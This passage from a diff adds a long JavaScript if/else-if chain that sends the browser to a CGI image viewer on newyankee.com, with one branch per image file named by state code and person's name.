+ else if (jumpto == [0]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ImageName";
+ else if (jumpto == [1]) window.location = "http://www.newyankee.com/GetYankees2.cgi?1.jpg";
+ else if (jumpto == [2]) window.location = "http://www.newyankee.com/GetYankees2.cgi?arsrferguson.jpg";
+ else if (jumpto == [3]) window.location = "http://www.newyankee.com/GetYankees2.cgi?akjamesmartin.jpg";
+ else if (jumpto == [4]) window.location = "http://www.newyankee.com/GetYankees2.cgi?aldaverackett.jpg";
+ else if (jumpto == [5]) window.location = "http://www.newyankee.com/GetYankees2.cgi?alericbrasher.jpg";
+ else if (jumpto == [6]) window.location = "http://www.newyankee.com/GetYankees2.cgi?algeorgewatkins.jpg";
+ else if (jumpto == [7]) window.location = "http://www.newyankee.com/GetYankees2.cgi?altoddcruise.jpg";
+ else if (jumpto == [8]) window.location = "http://www.newyankee.com/GetYankees2.cgi?arkevinc.jpg";
+ else if (jumpto == [9]) window.location = "http://www.newyankee.com/GetYankees2.cgi?arpaulmoore.jpg";
+ else if (jumpto == [10]) window.location = "http://www.newyankee.com/GetYankees2.cgi?auphillaird.jpg";
+ else if (jumpto == [11]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azbillhensley.jpg";
+ else if (jumpto == [12]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azcharleshollandjr.jpg";
+ else if (jumpto == [13]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azdaveholland.jpg";
+ else if (jumpto == [14]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azdavidholland.jpg";
+ else if (jumpto == [15]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azdonaldvogt.jpg";
+ else if (jumpto == [16]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azernestortega.jpg";
+ else if (jumpto == [17]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azjeromekeller.jpg";
+ else if (jumpto == [18]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azjimpegfulton.jpg";
+ else if (jumpto == [19]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azjohnbelcher.jpg";
+ else if (jumpto == [20]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azmikejordan.jpg";
+ else if (jumpto == [21]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azrickemry.jpg";
+ else if (jumpto == [22]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azstephensavage.jpg";
+ else if (jumpto == [23]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azsteveferguson.jpg";
+ else if (jumpto == [24]) window.location = "http://www.newyankee.com/GetYankees2.cgi?aztjhorrall.jpg";
+ else if (jumpto == [25]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cabillmeiners.jpg";
+ else if (jumpto == [26]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cabobhadley.jpg";
+ else if (jumpto == [27]) window.location = "http://www.newyankee.com/GetYankees2.cgi?caboblennox.jpg";
+ else if (jumpto == [28]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cabryanshurtz.jpg";
+ else if (jumpto == [29]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cabyroncleveland.jpg";
+ else if (jumpto == [30]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cacesarjimenez.jpg";
+ else if (jumpto == [31]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cadalekirstine.jpg";
+ else if (jumpto == [32]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cadavidlgoeffrion.jpg";
+ else if (jumpto == [33]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cadennisnocerini.jpg";
+ else if (jumpto == [34]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cadianemason.jpg";
+ else if (jumpto == [35]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cadominicpieranunzio.jpg";
+ else if (jumpto == [36]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cadonaldmotter.jpg";
+ else if (jumpto == [37]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cadoncroner.jpg";
+ else if (jumpto == [38]) window.location = "http://www.newyankee.com/GetYankees2.cgi?caelizabethwright.jpg";
+ else if (jumpto == [39]) window.location = "http://www.newyankee.com/GetYankees2.cgi?caericlew.jpg";
+ else if (jumpto == [40]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cafrancissmith.jpg";
+ else if (jumpto == [41]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cafranklombano.jpg";
+ else if (jumpto == [42]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cajaredweaver.jpg";
+ else if (jumpto == [43]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cajerrythompson.jpg";
+ else if (jumpto == [44]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cajimjanssen";
+ else if (jumpto == [45]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cajohncopolillo.jpg";
+ else if (jumpto == [46]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cajohnmessick.jpg";
+ else if (jumpto == [47]) window.location = "http://www.newyankee.com/GetYankees2.cgi?calaynedicker.jpg";
+ else if (jumpto == [48]) window.location = "http://www.newyankee.com/GetYankees2.cgi?caleeannrucker.jpg";
+ else if (jumpto == [49]) window.location = "http://www.newyankee.com/GetYankees2.cgi?camathewsscharch.jpg";
+ else if (jumpto == [50]) window.location = "http://www.newyankee.com/GetYankees2.cgi?camikedunn.jpg";
+ else if (jumpto == [51]) window.location = "http://www.newyankee.com/GetYankees2.cgi?camikeshay.jpg";
+ else if (jumpto == [52]) window.location = "http://www.newyankee.com/GetYankees2.cgi?camikeshepherd.jpg";
+ else if (jumpto == [53]) window.location = "http://www.newyankee.com/GetYankees2.cgi?caphillipfreer.jpg";
+ else if (jumpto == [54]) window.location = "http://www.newyankee.com/GetYankees2.cgi?carandy.jpg";
+ else if (jumpto == [55]) window.location = "http://www.newyankee.com/GetYankees2.cgi?carichardwilliams.jpg";
+ else if (jumpto == [56]) window.location = "http://www.newyankee.com/GetYankees2.cgi?carickgruen.jpg";
+ else if (jumpto == [57]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cascottbartsch.jpg";
+ else if (jumpto == [58]) window.location = "http://www.newyankee.com/GetYankees2.cgi?castevestrapac.jpg";
+ else if (jumpto == [59]) window.location = "http://www.newyankee.com/GetYankees2.cgi?catimwest.jpg";
+ else if (jumpto == [60]) window.location = "http://www.newyankee.com/GetYankees2.cgi?catomrietveld.jpg";
+ else if (jumpto == [61]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnalainpaquette.jpg";
+ else if (jumpto == [62]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnalanhill.jpg";
+ else if (jumpto == [63]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnalguerette.jpg";
+ else if (jumpto == [64]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnbrianhogg.jpg";
+ else if (jumpto == [65]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnbrucebeard.jpg";
+ else if (jumpto == [66]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cncraigdavey.jpg";
+ else if (jumpto == [67]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cndanielpattison.jpg";
+ else if (jumpto == [68]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cndenisstjean.jpg";
+ else if (jumpto == [69]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnglenngray.jpg";
+ else if (jumpto == [70]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnjeansebastienduguay.jpg";
+ else if (jumpto == [71]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnjohnbritz.jpg";
+ else if (jumpto == [72]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnkevinmclean.jpg";
+ else if (jumpto == [73]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnmarcandrecartier.jpg";
+ else if (jumpto == [74]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnmarcleblanc.jpg";
+ else if (jumpto == [75]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnmatthewgiles.jpg";
+ else if (jumpto == [76]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnmichelrauzon.jpg";
+ else if (jumpto == [77]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnpierrelalonde.jpg";
+ else if (jumpto == [78]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnraytyson.jpg";
+ else if (jumpto == [79]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnrichardboucher.jpg";
+ else if (jumpto == [80]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnrodbuike.jpg";
+ else if (jumpto == [81]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnscottpitkeathly.jpg";
+ else if (jumpto == [82]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnshawndavis.jpg";
+ else if (jumpto == [83]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnstephanepelletier.jpg";
+ else if (jumpto == [84]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cntodddesroches.jpg";
+ else if (jumpto == [85]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cntonyharnum.jpg";
+ else if (jumpto == [86]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnwayneconabree.jpg";
+ else if (jumpto == [87]) window.location = "http://www.newyankee.com/GetYankees2.cgi?codavidjbarber.jpg";
+ else if (jumpto == [88]) window.location = "http://www.newyankee.com/GetYankees2.cgi?codonrandquist.jpg";
+ else if (jumpto == [89]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cojeffpalese.jpg";
+ else if (jumpto == [90]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cojohnlowell.jpg";
+ else if (jumpto == [91]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cotroytorgerson.jpg";
+ else if (jumpto == [92]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ctgerrygranatowski.jpg";
+ else if (jumpto == [93]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ctjasonklein.jpg";
+ else if (jumpto == [94]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ctkevinkiss.jpg";
+ else if (jumpto == [95]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ctmikekennedy.jpg";
+ else if (jumpto == [96]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flalancanfield.jpg";
+ else if (jumpto == [97]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flalbertgonzalez.jpg";
+ else if (jumpto == [98]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flbruceloy.jpg";
+ else if (jumpto == [99]) window.location = "http://www.newyankee.com/GetYankees2.cgi?fldandevault.jpg";
+ else if (jumpto == [100]) window.location = "http://www.newyankee.com/GetYankees2.cgi?fldonstclair.jpg";
+ else if (jumpto == [101]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flernestbonnell.jpg";
+ else if (jumpto == [102]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flgeorgebarg.jpg";
+ else if (jumpto == [103]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flgregslavinski.jpg";
+ else if (jumpto == [104]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flgregwaters.jpg";
+ else if (jumpto == [105]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flharoldmiller.jpg";
+ else if (jumpto == [106]) window.location = "http://www.newyankee.com/GetYankees2.cgi?fljackwelch.jpg";
+ else if (jumpto == [107]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flmichaelostrowski.jpg";
+ else if (jumpto == [108]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flpauldoman.jpg";
+ else if (jumpto == [109]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flpaulsessions.jpg";
+ else if (jumpto == [110]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flrandymys.jpg";
+ else if (jumpto == [111]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flraysarnowski.jpg";
+ else if (jumpto == [112]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flrobertcahill.jpg";
+ else if (jumpto == [113]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flstevemorrison.jpg";
+ else if (jumpto == [114]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flstevezellner.jpg";
+ else if (jumpto == [115]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flterryjennings.jpg";
+ else if (jumpto == [116]) window.location = "http://www.newyankee.com/GetYankees2.cgi?fltimmcwilliams.jpg";
+ else if (jumpto == [117]) window.location = "http://www.newyankee.com/GetYankees2.cgi?fltomstellhorn.jpg";
+ else if (jumpto == [118]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gabobkoch.jpg";
+ else if (jumpto == [119]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gabrucekinney.jpg";
+ else if (jumpto == [120]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gadickbesemer.jpg";
+ else if (jumpto == [121]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gajackclunen.jpg";
+ else if (jumpto == [122]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gajayhart.jpg";
+ else if (jumpto == [123]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gajjgeller.jpg";
+ else if (jumpto == [124]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gakeithlacey.jpg";
+ else if (jumpto == [125]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gamargieminutello.jpg";
+ else if (jumpto == [126]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gamarvinearnest.jpg";
+ else if (jumpto == [127]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gamikeschwarz.jpg";
+ else if (jumpto == [128]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gamikeyee.jpg";
+ else if (jumpto == [129]) window.location = "http://www.newyankee.com/GetYankees2.cgi?garickdubree.jpg";
+ else if (jumpto == [130]) window.location = "http://www.newyankee.com/GetYankees2.cgi?garobimartin.jpg";
+ else if (jumpto == [131]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gastevewaddell.jpg";
+ else if (jumpto == [132]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gathorwiggins.jpg";
+ else if (jumpto == [133]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gawadewylie.jpg";
+ else if (jumpto == [134]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gawaynerobinson.jpg";
+ else if (jumpto == [135]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gepaulwestbury.jpg";
+ else if (jumpto == [136]) window.location = "http://www.newyankee.com/GetYankees2.cgi?grstewartcwolfe.jpg";
+ else if (jumpto == [137]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gugregmesa.jpg";
+ else if (jumpto == [138]) window.location = "http://www.newyankee.com/GetYankees2.cgi?hibriantokunaga.jpg";
+ else if (jumpto == [139]) window.location = "http://www.newyankee.com/GetYankees2.cgi?himatthewgrady.jpg";
+ else if (jumpto == [140]) window.location = "http://www.newyankee.com/GetYankees2.cgi?iabobparnell.jpg";
+ else if (jumpto == [141]) window.location = "http://www.newyankee.com/GetYankees2.cgi?iadougleonard.jpg";
+ else if (jumpto == [142]) window.location = "http://www.newyankee.com/GetYankees2.cgi?iajayharmon.jpg";
+ else if (jumpto == [143]) window.location = "http://www.newyankee.com/GetYankees2.cgi?iajohnbevier.jpg";
+ else if (jumpto == [144]) window.location = "http://www.newyankee.com/GetYankees2.cgi?iamartywitt.jpg";
+ else if (jumpto == [145]) window.location = "http://www.newyankee.com/GetYankees2.cgi?idjasonbartschi.jpg";
+ else if (jumpto == [146]) window.location = "http://www.newyankee.com/GetYankees2.cgi?idkellyklaas.jpg";
+ else if (jumpto == [147]) window.location = "http://www.newyankee.com/GetYankees2.cgi?idmikegagnon.jpg";
+ else if (jumpto == [148]) window.location = "http://www.newyankee.com/GetYankees2.cgi?idrennieheuer.jpg";
+ else if (jumpto == [149]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilbenshakman.jpg";
+ else if (jumpto == [150]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilcraigstocks.jpg";
+ else if (jumpto == [151]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ildaverubini.jpg";
+ else if (jumpto == [152]) window.location = "http://www.newyankee.com/GetYankees2.cgi?iledpepin.jpg";
+ else if (jumpto == [153]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilfredkirpec.jpg";
+ else if (jumpto == [154]) window.location = "http://www.newyankee.com/GetYankees2.cgi?iljoecreed.jpg";
+ else if (jumpto == [155]) window.location = "http://www.newyankee.com/GetYankees2.cgi?iljohnknuth.jpg";
+ else if (jumpto == [156]) window.location = "http://www.newyankee.com/GetYankees2.cgi?iljoshhill.jpg";
+ else if (jumpto == [157]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilkeithrichard.jpg";
+ else if (jumpto == [158]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilkrystleweber.jpg";
+ else if (jumpto == [159]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilmattmusich.jpg";
+ else if (jumpto == [160]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilmichaellane.jpg";
+ else if (jumpto == [161]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilrodneyschwandt.jpg";
+ else if (jumpto == [162]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilrogeraukerman.jpg";
+ else if (jumpto == [163]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilscottbreeden.jpg";
+ else if (jumpto == [164]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilscottgerami.jpg";
+ else if (jumpto == [165]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilsteveritt.jpg";
+ else if (jumpto == [166]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilthomasfollin.jpg";
+ else if (jumpto == [167]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilwaynesmith.jpg";
+ else if (jumpto == [168]) window.location = "http://www.newyankee.com/GetYankees2.cgi?inallenwimberly.jpg";
+ else if (jumpto == [169]) window.location = "http://www.newyankee.com/GetYankees2.cgi?inbutchmyers.jpg";
+ else if (jumpto == [170]) window.location = "http://www.newyankee.com/GetYankees2.cgi?inderrickbentley.jpg";
+ else if (jumpto == [171]) window.location = "http://www.newyankee.com/GetYankees2.cgi?inedmeissler.jpg";
+ else if (jumpto == [172]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ingarymartin.jpg";
+ else if (jumpto == [173]) window.location = "http://www.newyankee.com/GetYankees2.cgi?injasondavis.jpg";
+ else if (jumpto == [174]) window.location = "http://www.newyankee.com/GetYankees2.cgi?injeffjones.jpg";
+ else if (jumpto == [175]) window.location = "http://www.newyankee.com/GetYankees2.cgi?injeffwilliams.jpg";
+ else if (jumpto == [176]) window.location = "http://www.newyankee.com/GetYankees2.cgi?injpreslyharrington.jpg";
+ else if (jumpto == [177]) window.location = "http://www.newyankee.com/GetYankees2.cgi?inrichardlouden.jpg";
+ else if (jumpto == [178]) window.location = "http://www.newyankee.com/GetYankees2.cgi?inronmorrell.jpg";
+ else if (jumpto == [179]) window.location = "http://www.newyankee.com/GetYankees2.cgi?insearsweaver.jpg";
+ else if (jumpto == [180]) window.location = "http://www.newyankee.com/GetYankees2.cgi?irpaullaverty.jpg";
+ else if (jumpto == [181]) window.location = "http://www.newyankee.com/GetYankees2.cgi?irseamusmcbride.jpg";
+ else if (jumpto == [182]) window.location = "http://www.newyankee.com/GetYankees2.cgi?isazrielmorag.jpg";
+ else if (jumpto == [183]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ksalankreifels.jpg";
+ else if (jumpto == [184]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ksbrianbudden.jpg";
+ else if (jumpto == [185]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ksgarypahls.jpg";
+ else if (jumpto == [186]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ksmikefarnet.jpg";
+ else if (jumpto == [187]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ksmikethomas.jpg";
+ else if (jumpto == [188]) window.location = "http://www.newyankee.com/GetYankees2.cgi?kstomzillig.jpg";
+ else if (jumpto == [189]) window.location = "http://www.newyankee.com/GetYankees2.cgi?kybillyandrews.jpg";
+ else if (jumpto == [190]) window.location = "http://www.newyankee.com/GetYankees2.cgi?kydaveryno.jpg";
+ else if (jumpto == [191]) window.location = "http://www.newyankee.com/GetYankees2.cgi?kygreglaramore.jpg";
+ else if (jumpto == [192]) window.location = "http://www.newyankee.com/GetYankees2.cgi?kywilliamanderson.jpg";
+ else if (jumpto == [193]) window.location = "http://www.newyankee.com/GetYankees2.cgi?kyzachschuyler.jpg";
+ else if (jumpto == [194]) window.location = "http://www.newyankee.com/GetYankees2.cgi?laadriankliebert.jpg";
+ else if (jumpto == [195]) window.location = "http://www.newyankee.com/GetYankees2.cgi?labarryhumphus.jpg";
+ else if (jumpto == [196]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ladennisanders.jpg";
+ else if (jumpto == [197]) window.location = "http://www.newyankee.com/GetYankees2.cgi?larichardeckert.jpg";
+ else if (jumpto == [198]) window.location = "http://www.newyankee.com/GetYankees2.cgi?laronjames.jpg";
+ else if (jumpto == [199]) window.location = "http://www.newyankee.com/GetYankees2.cgi?lasheldonstutes.jpg";
+ else if (jumpto == [200]) window.location = "http://www.newyankee.com/GetYankees2.cgi?lastephenstarbuck.jpg";
+ else if (jumpto == [201]) window.location = "http://www.newyankee.com/GetYankees2.cgi?latroyestonich.jpg";
+ else if (jumpto == [202]) window.location = "http://www.newyankee.com/GetYankees2.cgi?lavaughntrosclair.jpg";
+ else if (jumpto == [203]) window.location = "http://www.newyankee.com/GetYankees2.cgi?maalexbrown.jpg";
+ else if (jumpto == [204]) window.location = "http://www.newyankee.com/GetYankees2.cgi?maalwencl.jpg";
+ else if (jumpto == [205]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mabrentmills.jpg";
+ else if (jumpto == [206]) window.location = "http://www.newyankee.com/GetYankees2.cgi?madangodziff.jpg";
+ else if (jumpto == [207]) window.location = "http://www.newyankee.com/GetYankees2.cgi?madanielwilusz.jpg";
+ else if (jumpto == [208]) window.location = "http://www.newyankee.com/GetYankees2.cgi?madavidreis.jpg";
+ else if (jumpto == [209]) window.location = "http://www.newyankee.com/GetYankees2.cgi?madougrecko.jpg";
+ else if (jumpto == [210]) window.location = "http://www.newyankee.com/GetYankees2.cgi?majasonhaley.jpg";
+ else if (jumpto == [211]) window.location = "http://www.newyankee.com/GetYankees2.cgi?maklausjensen.jpg";
+ else if (jumpto == [212]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mamikemarland.jpg";
+ else if (jumpto == [213]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mapetersilvestre.jpg";
+ else if (jumpto == [214]) window.location = "http://www.newyankee.com/GetYankees2.cgi?maraysweeney.jpg";
+ else if (jumpto == [215]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mdallenbarnett.jpg";
+ else if (jumpto == [216]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mdcharleswasson.jpg";
+ else if (jumpto == [217]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mdedbaranowski.jpg";
+ else if (jumpto == [218]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mdfranktate.jpg";
+ else if (jumpto == [219]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mdfredschock.jpg";
+ else if (jumpto == [220]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mdianstjohn.jpg";
+ else if (jumpto == [221]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mdjordanevans.jpg";
+ else if (jumpto == [222]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mdpaulwjones.jpg";
+ else if (jumpto == [223]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mestevesandelier.jpg";
+ else if (jumpto == [224]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mewilbertrbrown.jpg";
+ else if (jumpto == [225]) window.location = "http://www.newyankee.com/GetYankees2.cgi?midavidkeller.jpg";
+ else if (jumpto == [226]) window.location = "http://www.newyankee.com/GetYankees2.cgi?migaryvandenberg.jpg";
+ else if (jumpto == [227]) window.location = "http://www.newyankee.com/GetYankees2.cgi?migeorgeberlinger.jpg";
+ else if (jumpto == [228]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mijamesstapleton.jpg";
+ else if (jumpto == [229]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mijerryhaney.jpg";
+ else if (jumpto == [230]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mijohnrybarczyk.jpg";
+ else if (jumpto == [231]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mikeithvalliere.jpg";
+ else if (jumpto == [232]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mikevinpodsiadlik.jpg";
+ else if (jumpto == [233]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mimarkandrews.jpg";
+ else if (jumpto == [234]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mimikedecaussin.jpg";
+ else if (jumpto == [235]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mimikesegorski.jpg";
+ else if (jumpto == [236]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mirobertwolgast.jpg";
+ else if (jumpto == [237]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mitimothybruner.jpg";
+ else if (jumpto == [238]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mitomweaver.jpg";
+ else if (jumpto == [239]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mnbobgontarek.jpg";
+ else if (jumpto == [240]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mnbradbuffington.jpg";
+ else if (jumpto == [241]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mndavewilson.jpg";
+ else if (jumpto == [242]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mngenerajanen.jpg";
+ else if (jumpto == [243]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mnjohnkempkes.jpg";
+ else if (jumpto == [244]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mnkevinhurbanis.jpg";
+ else if (jumpto == [245]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mnmarklansink.jpg";
+ else if (jumpto == [246]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mnpaulmayer.jpg";
+ else if (jumpto == [247]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mnpauloman.jpg";
+ else if (jumpto == [248]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mnwoodylobnitz.jpg";
+ else if (jumpto == [249]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mocurtkempf.jpg";
+ else if (jumpto == [250]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mojerryhenry.jpg";
+ else if (jumpto == [251]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mojimfinney.jpg";
+ else if (jumpto == [252]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mojimrecamper.jpg";
+ else if (jumpto == [253]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mojohntimmons.jpg";
+ else if (jumpto == [254]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mojohnvaughan.jpg";
+ else if (jumpto == [255]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mokenroberts.jpg";
+ else if (jumpto == [256]) window.location = "http://www.newyankee.com/GetYankees2.cgi?momacvoss.jpg";
+ else if (jumpto == [257]) window.location = "http://www.newyankee.com/GetYankees2.cgi?momarktemmer.jpg";
+ else if (jumpto == [258]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mopaulzerjav.jpg";
+ else if (jumpto == [259]) window.location = "http://www.newyankee.com/GetYankees2.cgi?morobtigner.jpg";
+ else if (jumpto == [260]) window.location = "http://www.newyankee.com/GetYankees2.cgi?motomantrim.jpg";
+ else if (jumpto == [261]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mscharleshahn.jpg";
+ else if (jumpto == [262]) window.location = "http://www.newyankee.com/GetYankees2.cgi?msjohnjohnson.jpg";
+ else if (jumpto == [263]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ncandrelopez.jpg";
+ else if (jumpto == [264]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ncedorisak.jpg";
+ else if (jumpto == [265]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ncjimisbell.jpg";
+ else if (jumpto == [266]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ncjohnnydark.jpg";
+ else if (jumpto == [267]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nckevinebert.jpg";
+ else if (jumpto == [268]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nckevinulmer.jpg";
+ else if (jumpto == [269]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ncpeteparis.jpg";
+ else if (jumpto == [270]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ncstevelindsley.jpg";
+ else if (jumpto == [271]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nctimsmith.jpg";
+ else if (jumpto == [272]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nctonylawrence.jpg";
+ else if (jumpto == [273]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ncwyneaston.jpg";
+ else if (jumpto == [274]) window.location = "http://www.newyankee.com/GetYankees2.cgi?neberniedevlin.jpg";
+ else if (jumpto == [275]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nebrentesmoil.jpg";
+ else if (jumpto == [276]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nescottmccullough.jpg";
+ else if (jumpto == [277]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nhalantarring.jpg";
